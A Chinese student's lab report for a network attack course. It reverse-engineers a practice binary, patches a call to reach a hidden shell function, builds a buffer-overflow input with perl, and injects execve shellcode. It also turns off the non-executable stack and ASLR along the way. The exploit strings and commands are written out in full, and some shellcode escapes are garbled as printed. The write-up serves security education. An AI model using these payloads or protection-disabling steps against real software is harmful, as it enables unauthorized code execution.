zoukankan      html  css  js  c++  java
  • 2017-2018-2 20155228 《网络对抗技术》 实验一:PC平台逆向破解

    2017-2018-2 20155228 《网络对抗技术》 实验一:PC平台逆向破解

    实验内容

    本次实践的对象是一个名为pwn1的linux可执行文件。

    该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

    该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。


    三个实践内容如下:

    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    • 注入一个自己制作的shellcode并运行这段shellcode。
      这几种思路,基本代表现实情况中的攻击目标:
      运行原本不可访问的代码片段
      强行修改程序执行流
      以及注入运行任意代码。

    实验要求

    评分标准

    截图要求

    1. 所有操作截图主机名为本人姓名拼音

    2. 所编辑的文件名包含自己的学号

    如未按如上格式要求,则相应部分报告内容不记成绩。

    报告内容

    1. 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分)

    2. 掌握反汇编与十六进制编程器 (0.5分)

    3. 能正确修改机器指令改变程序执行流程(0.5分)

    4. 能正确构造payload进行bof攻击(0.5分)

    报告整体观感

    1. 报告格式范围,版面整洁 加0.5。

    2. 报告排版混乱,加0分。

    文字表述

    1. 报告文字内容非常全面,表述清晰准确 加1分。

    2. 报告逻辑清楚,比较简要地介绍了自己的操作目标与过程 加0.5分。

    3. 报告逻辑混乱表述不清或文字有明显抄袭可能 加0分。

    实践指导

    实验步骤

    1.关于在64位kali上运行32位pwn1的问题

    直接照着以下教程一步一步走就可以了

    问题解决方案教程

    值得一提的是教程中源不一定可以用,至少对我的kali来说不能用,导致后面下载安装软件的时候失败,所以后来我又重新找了一些其他的源。

    #auto
    deb http://http.kali.org/kali kali-rolling main non-free contrib
    
    #auto
    deb http://http.kali.org/kali kali-rolling main non-free contrib
    
    #中科大的源
    deb http://mirrors.ustc.edu.cn/kali kali-rolling main contrib non-free
    deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main contrib non-free
    deb http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free
    deb-src http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free
    deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
    deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
    
    #阿里云源
    deb http://mirrors.aliyun.com/kali sana main non-free contrib
    deb http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free
    deb-src http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free
    deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
    deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
    
    #浙大
    deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
    deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
    
    #东软大学
    deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
    deb-src http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
    
    #重庆大学
    deb http://http.kali.org/kali kali-rolling main non-free contrib
    deb-src http://http.kali.org/kali kali-rolling main non-free contrib
    
    
    # deb cdrom:[Debian GNU/Linux 2018.1 _Kali-rolling_ - Official Snapshot amd64 LIVE/INSTALL Binary 20180126-21:23]/ kali-last-snapshot contrib main non-free
    
    # deb cdrom:[Debian GNU/Linux 2018.1 _Kali-rolling_ - Official Snapshot amd64 LIVE/INSTALL Binary 20180126-21:23]/ kali-last-snapshot contrib main non-free
    

    2.关于在Kali上安装VirtualBox增强功能的问题

    以前在信息安全系统设计基础课用ubuntu时有安装增强功能以实现共享剪贴板和文件夹的功能,宿主机和虚拟机用邮箱来传递数据还是挺麻烦的。

    百度上很容易可以找到教程,都是大同小异的,一般就是以下的流程

    VirtualBox安装kali-linux增强工具

    安装过程中很容易出现失败的情况如下:

    Building the main Guest Additions module [FAILED]
    

    可以通过输入以下命令查看记录详细错误信息的日志:

    cat /var/log/vboxadd-install.log
    

    错误信息为:

    unable to find the sources of your current Linux kernel. Specify KERN_DIR-<directory> and run Make again
    

    解决办法在百度上五花八门,总的来说是需要提前安装一些依赖性软件,比如说gccmakekernel-header等等,大概有这几种解决办法:

    apt-get install dkms 
    
    apt-get install -y linux-headers-$(uname -r)
    
    apt-get install gcc make kernel
    

    等到要安装软件的时候就能感受到一个好的源的重要性了,有的源根本连不上,有的源卡得心态爆炸,源不好使做什么都难受。

    把这些必要的软件准备好了就可以顺利安装增强功能了吗?

    可能还会出现相同的错误导致安装失败。

    这时候真的想把电脑给砸了

    后来找了很久找到一个教程,解决这个问题的办法比较少见:在线安装VirtualBox增强功能

    kali 安装 VirtualBox 增强功能 完整解决办法

    apt-get install -y virtualbox-guest-x11
    

    安装完成过后打开共享文件夹就可以在桌面看到共享文件夹了

    3.关于输入法的问题

    我在查怎么安装kali增强功能的时候才发现kali居然没有中文拼音输入法,这就很尴尬了

    百度找到一个教程

    给英文版Kali系统安装谷歌拼音输入法

    主要是这两个命令

    apt-get install fcitx
    apt-get install fcitx-googlepinyin
    

    跟着教程走,安装完成后配置输入法

    呃...配置输入法?为什么界面不一样,我到哪里去配置输入法?!

    百度一下,我还是不知道,很绝望啊

    一般来说输入法也是一个软件,是可以找到图标点进去配置输入法的,还是自己再找找吧

    找了很久终于找到了配置输入法

    我把Google输入法设置为默认输入法,然后注意到是左shift激活输入法,ctrl+space切换输入法

    好了就此就可以开始做实验了

    4.直接修改程序机器指令,改变程序执行流程

    手工改可执行文件有时候可以用来跳过验证过程,因为这是直接修改机器指令,所以无需利用漏洞

    实验要用到pwn1是一个可执行程序,其代码已经被翻译成机器语言了,所以使用

    objdump -d pwn1 | more
    

    其中

    • objdump:对象导出
    • -d:反汇编
    • |:管道符

    其实后面那个| more加不加都无所谓,加了是为了方便阅读

    反汇编得到三列结果

    • 第一列是内存地址,也就是运行起来是的地址,当然打开文件时是看不到地址的

    • 第二列是机器指令,注意不同的cpu有不同的指令集

    • 第三列是汇编指令,一般汇编指令与机器指令是一一对应的

    看一下主函数main注意到有一行代码是调用foo函数,其实main调用foo是通过访问foo所在内存地址来实现的,只要修改代码就可以使程序跳到其他函数上面去

    现在想要通过修改调用地址实现对getshell的调用,getshell的内存地址是0x0804847d,foo的内存地址是0x08048491,

    分析至此,接下来该做什么就很明确了:

    • 做差求相对位移:getshell的内存地址-foo的内存地址,地址之差0x14
    • 做加法或者做减法修改代码
    • 反汇编查看修改结果是否正确
    • 运行程序

    机器指令e8对应汇编指令call,考虑到linux是小端,低地址位为d7,高地址位为ff,所以要修改的数据就是d7

    由于无法确定是是d7+14还是d7-14,所以两个都试一下

    经过尝试可以确定是做减法

    所以是应该将d7修改为c3

    具体的操作细节在实验指导里有介绍

    root@KaliYL:~# cp pwn1 pwn2

    root@KaliYL:~# vi pwn2

    以下操作是在vi内

    1. 按ESC键
    2. 输入如下,将显示模式切换为16进制模式
      :%!xxd
    3. 查找要修改的内容
      /e8d7
    4. 找到后前后的内容和反汇编的对比下,确认是地方是正确的
    5. 修改d7为c3
    6. 转换16进制为原格式
      :%!xxd -r
    7. 存盘退出vi
      :wq

    其中:%!xxd是把代码转成16进制数,不转根本就是一堆乱码,当然最后要用:%!xxd -r改回来

    修改并保存之后再次反汇编查看结果

    运行程序pwn1pwn2

    5.通过构造输入参数,造成BOF攻击,改变程序执行流

    主函数mian调用子函数foo的时候会开辟一块内存空间作为堆栈,用来放子函数的各项参数还有返回地址。

    pwn1的正常功能是输入什么打印什么,如果输入的数据超过堆栈中用来存放子函数参数的内存单元时就会发生缓冲区溢出,溢出的数据就会填入到存放返回地址ret的内存单元中,从堆栈的结构来看,形成缓冲区溢出覆盖返回地址的是输入数据的后半部分。关键的问题在于准确计算出溢出到ret所处内存单元需要多长的数据,而且也要知道是数据的哪一部分会写入ret内存单元中

    首先确定哪几位数据会覆盖返回地址

    使用gdbpwn1进行调试,主要是可以随时看各个寄存器的值,主要是看eip寄存器的值,因为eip寄存器总是放着cpu会执行的下一条指令所处的内存地址。

    输入1111 1111 2222 2222 3333 3333 4444 4444 5555 5555就可以看出这时候已经发生缓冲区溢出了

    使用info -r命令查看各个寄存器的值,发现eip寄存器的值是0x35353535,这是5的ascii码的16进制表示形式

    但是之前输了8个5进去,还得想办法确定到底是哪四个5进入了eip

    所以再运行程序一次,这次输入把那8个5换成不一样的值

    1111 1111 2222 2222 3333 3333 4444 4444 1234 5678

    现在可以确定是1234会进入eip

    然后确定getshell的内存地址

    使用反汇编命令可以确定getshell的内存地址为0x0804847d

    最后想办法把getshell地址作为foo函数输入的一部分溢出到eip

    有一点值得注意,linux是小端操作系统,所以说输入数据时会比较别扭,应该是输0x7d840408

    还有一个问题是,foo函数的输入会被转换为十六进制的ascii码,直接输入getshell的十六进制地址肯定有问题

    解决的办法就是使用perl语言提前把foo函数的输入写进文件,再把文件作为foo函数的输入

    perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input
    

    其中

    • print:执行print函数打印字符串
    • x0a:表示回车,没有这个foo函数就不知道什么时候输入结束

    然后用xxd input查看input文件内容是否是0x7d840408

    确认无误就可以把input作为foo函数的输入

    (cat input; cat) | ./pwn1
    

    这里的管道符意为将打印值(其实就是input的值)作为./input的输入值

    6.注入Shellcode并执行

    之前都是基于原来程序就有的函数getshell,现在希望执行自己输入的代码shellcode

    x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80
    

    getshell的内存地址可以通过反汇编查到,但是shellcode的内存地址怎么确定呢?

    答案是在运行程序是查看堆栈的所处的地址,堆栈中buffer也就是存放foo函数参数的内存地址就是shellcode的内存地址

    shellcode的在运行时所处的内存地址是动态分配的,每次运行程序都在变,所以说每次找到的shellcode的地址只能在这次程序运行时使用,下次就又得重新找

    为了图方便,所以先把shellcode或者说是foo的参数在内存的地址中固定下来

    另外,程序为了防止此类攻击,一般都设置堆栈不可执行,所以攻击之前要设置堆栈可执行

    execstack -s pwn1    //设置堆栈可执行
    execstack -q pwn1    //查询文件的堆栈是否可执行
    more /proc/sys/kernel/randomize_va_space 
    echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    more /proc/sys/kernel/randomize_va_space 
    

    堆栈中存储返回地址的内存单元的相对位置是固定的,shellcode可以放在ret之前也可以放在ret之后,这里把shellcode放在ret的后面

    foo函数输入中填写ret的位置是相对固定的,但是ret的值是什么需要确定

    在堆栈中foo函数输入参数的内存空间大小和shellcode的长度往往是不一致的,所以foo函数的输入除了shellcoderet还要有nop作为填充

    现在的问题就落在寻找shellcode的内存地址或者说堆栈中foo函数输入参数的内存地址

    通过构建一个完整的但是ret的值是随便写的foo函数输入来确定ret的值

    perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
    

    注意这里的代码是把shellcode放在ret前面的,但是不影响找ret的内存地址,也就是说只需要找到1234的位置,根据之前把shellcode放在ret之后的结构,ret地址+0x4就是shellcode首地址

    这个截图的红框框画的不对,因为教程把我坑了一把,shellcode首地址是0xffffd210

    现在可以构建一个有正确retfoo函数输入input_shellcode并进行注入了

    PSP时间统计

    步骤 耗时 百分比
    需求分析 20min 8%
    设计 40min 16%
    代码实现 120min 50%
    测试 20min 8%
    总结分析 40min 16%

    实验收获和感想

    虽然上课没有跟着老师做实验但是做了笔记,其中包括很多细节的处理和理解,这是实验知道里面没有的,课后再动手做实验时候结合着笔记再看看实验指导,可以说每一步都是很清楚,所以说不求在课上就把实验结果做出来,只求在课上把实验思路和细节搞懂。

    什么是漏洞和漏洞的危害

    个人认为漏洞是程序设计时无意留下的,容易被攻击者利用的程序设计缺陷,危害就有很多了,包括程序、设备、数据的非法访问、窃取、篡改等等

  • 相关阅读:
    你本地测试环境再难搭建也要搭建出来调试代码
    00 alv抬头等
    流水号生产后调用
    ALV 顶栏的按钮设定
    Redis学习总结
    Mybatis总结
    面试题收集
    java 收集2
    关于Spring的69个面试问答——终极列表
    java 面试收集
  • 原文地址:https://www.cnblogs.com/besti20155228/p/8598691.html
Copyright © 2011-2022 走看看